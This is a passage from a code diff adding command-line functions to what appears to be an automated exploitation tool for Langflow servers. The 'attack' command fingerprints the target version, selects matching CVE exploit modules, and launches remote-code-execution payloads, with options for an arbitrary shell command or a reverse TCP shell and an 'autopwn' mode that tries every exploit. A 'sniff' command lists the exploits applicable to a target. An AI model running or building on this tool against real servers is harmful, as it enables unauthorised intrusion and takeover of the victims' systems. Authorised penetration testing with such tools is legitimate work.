+ default=None,
96
+ help="Shell command to execute on the target (uses execute_bash_command payload).",
97
+ )
98
+ @click.option(
99
+ "--reverse_shell",
100
+ required=False,
101
+ default=None,
102
+ help="LHOST:LPORT for a reverse TCP shell payload (e.g. 192.168.1.10:4444).",
103
+ )
104
+ @click.pass_context
105
+ def attack(
106
+ ctx: click.Context,
107
+ url: str,
108
+ username: str,
109
+ password: str,
110
+ autopwn: bool,
111
+ proxy: str,
112
+ cmd: str | None,
113
+ reverse_shell: str | None,
114
+ ):
115
+ banner()
116
+ db: Database = ctx.obj
117
+ has_credentials = False
118
+ logger.info("Checking target Langflow version.")
119
+
120
+ if cmd and reverse_shell:
121
+ raise click.UsageError("--command and --reverse_shell are mutually exclusive.")
122
+ if any([username, password]) and not all([username, password]):
123
+ raise click.BadParameter(
124
+ "`--username` and `--password` must be provided together."
125
+ )
126
+ elif username and password:
127
+ has_credentials = True
128
+ logger.warning(
129
+ "Langflow login credentials detected. Results will Include Auth RCE exploit modules."
130
+ )
131
+
132
+ proxies = {"http": proxy, "https": proxy} if proxy else None
133
+
134
+ # Determine payload to use
135
+ payload = _get_payload(cmd=cmd, reverse_shell=reverse_shell)
136
+
137
+ # Determine victim langflow version
138
+ try:
139
+ target_version = get_target_version(base_url=url, proxies=proxies)
140
+ except RuntimeError as e:
141
+ raise click.ClickException(f"Error retrieving target Langflow version: {e!s}")
142
+
143
+ # Determine vulns & corresponding exploit modules
144
+ try:
145
+ vuln_lst = db.retrieve_vulnerabilities(
146
+ target_version=target_version, is_auth=has_credentials
147
+ )
148
+ except Exception as e: # noqa: BLE001
149
+ raise click.ClickException(f"Error retrieving exploits: {e!s}")
150
+
151
+ # Fire exploits
152
+ logger.info(
153
+ f"{len(vuln_lst)} exploit(s) detected. Prioritizing unauth RCE exploits."
154
+ )
155
+ for vuln in vuln_lst:
156
+ click.echo("")
157
+ logger.info(
158
+ f"Launching exploit for {vuln.cve_id} that impacts Langflow versions {vuln.min_impacted_version} through {vuln.max_impacted_version}"
159
+ )
160
+ exploit_module = vuln.get_exploit_instance()
161
+
162
+ try:
163
+ result = _execute_exploit(
164
+ exploit_module=exploit_module,
165
+ base_url=url,
166
+ username=username,
167
+ password=password,
168
+ proxies=proxies,
169
+ payload=payload,
170
+ )
171
+ except FutureTimeoutError:
172
+ logger.warning(
173
+ f"Exploit for {vuln.cve_id} timed out after {EXPLOIT_TIMEOUT}s. Skipping."
174
+ )
175
+ result = False
176
+
177
+ if not autopwn and result:
178
+ logger.info("Exploitation successful. Stopping at first attempt.")
179
+ break
180
+
181
+
182
+ @click.command(help="Determine target Langflow version.")
183
+ @click.option(
184
+ "--url",
185
+ required=True,
186
+ help="URL of target Langflow instance",
187
+ callback=validate_url,
188
+ )
189
+ @click.option(
190
+ "--proxy",
191
+ required=False,
192
+ default=None,
193
+ help="HTTP(s) proxy to use for network I/O operations",
194
+ callback=validate_proxy,
195
+ )
196
+ @click.pass_context
197
+ def sniff(ctx: click.Context, url: str, proxy: dict[str, str] | None):
198
+ db: Database = ctx.obj
199
+
200
+ # Determine victim langflow version
201
+ logger.info("Checking target Langflow version.")
202
+ try:
203
+ target_version = get_target_version(base_url=url, proxies=proxy)
204
+ except RuntimeError as e:
205
+ raise click.ClickException(f"Error retrieving target Langflow version: {e!s}")
206
+
207
+ logger.info(f"Retrieving all known exploits for Langflow version {target_version}:")
208
+ try:
209
+ vuln_lst = db.retrieve_vulnerabilities(
210
+ target_version=target_version, is_auth=True
211
+ )
212
+ except Exception as e: # noqa: BLE001
213
+ raise click.ClickException(f"Error retrieving exploits: {e!s}")
214
+
215
+ for vuln in vuln_lst:
216
+ logger.info(vuln.exploit_module)